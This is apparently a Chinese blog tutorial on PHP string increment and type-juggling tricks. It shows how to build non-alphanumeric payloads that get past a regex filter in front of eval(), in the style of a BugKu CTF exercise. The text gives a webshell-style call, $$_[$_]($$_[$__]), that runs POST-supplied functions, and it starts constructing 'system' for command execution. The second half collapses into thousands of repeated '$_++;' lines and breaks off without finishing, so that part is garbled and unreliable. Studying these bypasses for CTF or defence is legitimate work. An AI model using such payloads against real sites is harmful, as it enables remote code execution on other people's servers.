从‘$_=(_/_._)[_]’说起:深入理解PHP字符串的‘魔法’自增与代码执行(附BugKu靶场复现)
·
从 $_=(_/_._)[_] 解密PHP字符串的隐秘操作逻辑
当你在PHP中看到 $_=(_/_._)[_] 这样的代码时,第一反应可能是"这到底在干什么?"这段看似晦涩的代码实际上揭示了PHP类型转换和字符串操作中一些鲜为人知的特性。本文将带你深入理解这些"魔法"行为背后的机制。
1. PHP中的类型转换魔法
PHP以其灵活的类型转换系统而闻名,但这种灵活性有时会导致令人惊讶的结果。让我们从一个简单的例子开始:
$a = "1";
$b = $a + 2; // $b现在是3,字符串"1"被自动转换为整数1
这种隐式类型转换在日常开发中很常见,但PHP的类型转换远不止于此。考虑以下代码:
$str = "a";
$str++;
echo $str; // 输出"b"
字符串自增操作会将字符按照ASCII表递增。这是PHP字符串操作中一个有趣但鲜为人知的特性。
1.1 字符串与数字的隐式转换
PHP在处理字符串和数字混合运算时有一套复杂的规则:
- 如果字符串以数字开头,会被转换为对应的数字值
- 空字符串转换为0
- 其他情况下的字符串转换为0,但会抛出警告
var_dump("10abc" + 5); // int(15)
var_dump("abc10" + 5); // int(5) 并产生警告
2. 解构 (_/_._)[_] 的奥秘
让我们回到最初那段神秘的代码。 (_/_._)[_] 实际上利用了PHP的多个特性:
_是一个未定义的常量,PHP会将其当作字符串"_"处理/是除法运算符.是字符串连接运算符[]是数组访问运算符
具体解析如下:
$_ = (_ / _ . _)[_];
// 等价于:
$_ = ("_" / "_" . "_")["_"];
// "_"/"_"会尝试将字符串转换为数字,得到0/0=NaN
// NaN转换为字符串是"N"或"NaN"(取决于PHP版本)
// 然后连接"_"得到"N_"或"NaN_"
// 最后用"_"作为键访问这个字符串(PHP中字符串可以像数组一样访问)
// "_"转换为整数是0,所以取第一个字符"N"
2.1 字符串的数组式访问
PHP允许使用数组语法访问字符串中的字符:
$str = "Hello";
echo $str[1]; // 输出"e"
当使用字符串作为索引时,PHP会尝试将其转换为整数:
echo $str["1"]; // 输出"e"(字符串"1"转换为整数1)
echo $str["1.9"]; // 输出"e"(转换为整数1)
echo $str["abc"]; // 输出"H"(无法转换,使用0)
3. 构建可执行函数名的技巧
通过字符串自增,我们可以从"N"开始构建出"POST"这样的字符串:
$_ = "N"; // 从(_/_._)[_]得到
$_++; // "O"
$__ = $_ . $_++; // "PO"
$_++; $_++; $_++; // "S"
$__ = $__ . $_; // "POS"
$_++; // "T"
$__ = $__ . $_; // "POST"
$_ = "_" . $__; // "_POST"
这样我们就构造出了超全局变量 $_POST 的名称,然后可以通过变量变量来访问它:
$$_[$_]($$_[$__]); // 等价于$_POST[_]($_POST[__])
4. 绕过过滤限制的实战应用
在安全研究中,这些特性可以用来绕过某些过滤限制。考虑以下过滤条件:
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<?>\"|`~\\\\]/",$code)){
eval($code);
}
这个正则表达式过滤了大部分字母数字和特殊字符,但允许 $ 、 _ 、 + 、 - 、 = 、 ( 、 ) 、 [ 、 ] 、 . 、 , 、 ; 和空格等字符。利用字符串自增和类型转换,我们可以构造出需要的函数名。
4.1 构造系统命令执行
通过上述方法构造出 system 函数名:
// 从"A"开始构造"system"
$_ = "A";
$_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; 